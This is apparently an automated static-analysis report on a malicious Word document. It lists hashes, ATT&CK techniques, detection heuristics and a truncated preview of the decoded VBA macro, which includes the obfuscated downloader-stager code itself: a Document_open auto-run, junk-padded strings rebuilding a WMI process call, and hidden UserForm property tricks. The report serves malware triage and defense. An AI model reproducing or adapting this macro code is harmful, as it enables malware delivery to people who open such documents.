Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91aef8c82bde4fc9…

MALICIOUS

Office (OLE)

254.5 KB Created: 2020-08-19 10:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 29a6e40e3f954e8a5b60d0ab7e9a7dd3 SHA-1: 5da70e82b04e909a7cb6fdf7492c910cc3c89b37 SHA-256: 91aef8c82bde4fc9fa7c591ae0710987ab384b4727018f67d8a70bbd1eed69a6
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm property to execute code. This is indicative of a downloader or stager. The ClamAV detection name 'Doc.Downloader.Generic-9393258-0' further supports this. The VBA code appears to be obfuscated, making it difficult to determine the exact download URL or execution method, but the overall pattern suggests it's designed to fetch and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9393258-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9393258-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15345 bytes
SHA-256: df93d4b3826c1017fc128f5aa2871fa3fab73632b619dd8b1084750b2268cb3a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Y3gsywhtb_d7p"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Clqci_avqs5t7t2yg0.Qcro14kf1lpyj
End Sub


Attribute VB_Name = "Clqci_avqs5t7t2yg0"
Attribute VB_Base = "0{B0836D73-CF05-4B6B-AB78-0DCCAF1D15A6}{7705F601-4322-4493-A495-1E3B221F7C36}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qcro14kf1lpyj()
   Djhh8t24ym6mcsh_f4 = "370"
If Len("Gr9r2v0yqeyno_dU45offxs2zpn77d") = Len("T38sh4qx07ly__") + 1 Then End
If Len("I07pglpod5q2bgUubhwxdvoamhqk5N3idoar8fmn4y3bpqm") < Len("Tx4o5inso5e") Then
        MsgBox "Cj79_5di3debjjk8x0" + "Tdgdl1no6atddbnku4"
        MsgBox ("Bvnemyt2eu0q6p8n7")
        MsgBox "Euhwqjhjaba7_2e48n" + "Y6p40i58uyygzr"
End If
If Len("Jjxrfd9dys2jvIctt09c22inw") = Len("Qvm6loxo6fpil") Then
       MsgBox "T3ki_jzivfy" + "Okwsodu2kslyp695"
       MsgBox ("Xdly8l0ranmypa !!!")
       MsgBox "Ev6n3n3lyu2k" + "Q4fm72ycmcy0xb"
End If

Zgxksm1n993co = Clqci_avqs5t7t2yg0.HelpContextId + 50 + 50
   Dshlgfawm4f9 = "516"
If Len("Tggyjigykdi0c55ftM_ejdkfzyluxmw85") = Len("Dtmiz0t6o0melhq4d") + 1 Then End
If Len("Yzsc8svv6ey3wcicQhr3avo1l4umed6iYfjcw5yeephxmj8is5") < Len("Q99ddmvzai1a5tz") Then
        MsgBox "C4wao4y8ghd" + "Oydwkjw_bbg1bfx7oo"
        MsgBox ("Cyf4p74g5ka98j")
        MsgBox "Dmfd2u8zcbx8_jf3" + "U5_lo7y2rd31aek"
End If
If Len("K_l2kx6h0c24_5Rstfdjl3rrnkrf_c9n") = Len("Pj6bhe04nle72x") Then
       MsgBox "Chs0ghdi6k8m" + "B_a4puiy5rlber"
       MsgBox ("Lmvxxla3v_gisb_3k3 !!!")
       MsgBox "Sollqgpsk2g8c1e" + "Nzk1cbhp5jm2x51aj"
End If

Srfsgbmr4szcw7 = ChrW(Zgxksm1n993co + (15))
   E_coit9wu0j_ipuu4w = "918"
If Len("Mgwko_72balseogrv8K_xi8kbg3mwk") = Len("Tmf5v1ypn37vjre") + 1 Then End
If Len("B90xxha69z_n4doT224im86j2bh3yV8v1pxx9uml771kw") < Len("Jq6t2mo1aeo8g") Then
        MsgBox "Ckbgrio_4d5gq8raf" + "D45m5edug_otjaotiw"
        MsgBox ("O5o7ox2zu7sja0q4o")
        MsgBox "Tr8c8covk6449y6gve" + "Xqzcptyz2ou4iats"
End If
If Len("Yr8mr4n88205Volcruborujnyh") = Len("Av4og1iehoqxmgt4") Then
       MsgBox "Wmugsgt_q2q9y05v" + "Wl0uyzvkeyb8zh92"
       MsgBox ("Nmyutpjo2_4gtqw !!!")
       MsgBox "Smi5fhy08os" + "C2utgfps9dl7zg"
End If

Blswr4yymtv620 = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + Srfsgbmr4szcw7 + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + Clqci_avqs5t7t2yg0.Q9usvrg1lo8fi2l4s5 + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   V9ktdghk2m7o3pb1t6 = "783"
If Len("Pzdi3r2y8l6h6Gemzx1xd4rp4p") = Len("Ibd2u5ni21scmt") + 1 Then End
If Len("Z8ebbtk1b7f1tQ40bjm6hdxa_aoxgunU4uk3o0amc6") < Len("C5me9tbcgq34ra") Then
        MsgBox "N8c6m4w2dcs" + "Qllsfji8fzj1"
        MsgBox ("Nk9mb242mpekhsws")
        MsgBox "Gbpmo369xuj" + "X6xni5sypcl"
End If
If Len("Mk7hi92xpcqiklesKphuxqvr9_z") = Len("Vyg116d8x1z") Then
       MsgBox "Pz6opc8zawaxee56k" + "H0ctvojtuqbwqz1o"
       MsgBox ("Ywgc6cadixtwwbjw8p !!!")
       MsgBox "Tdeqe7sryogm91g6" + "Czq8bqm2290o"
End If

Pqh8x6ldbjbza8 = Z16pyvooaxdvtdye(Blswr4yymtv620)
   F3tmkf0icqyh6tr = "770"
If Len("Lhy5df9qz7t_9Hj906d6k44dd0yo") = Len("G3in5irhrc5cy")
... (truncated)

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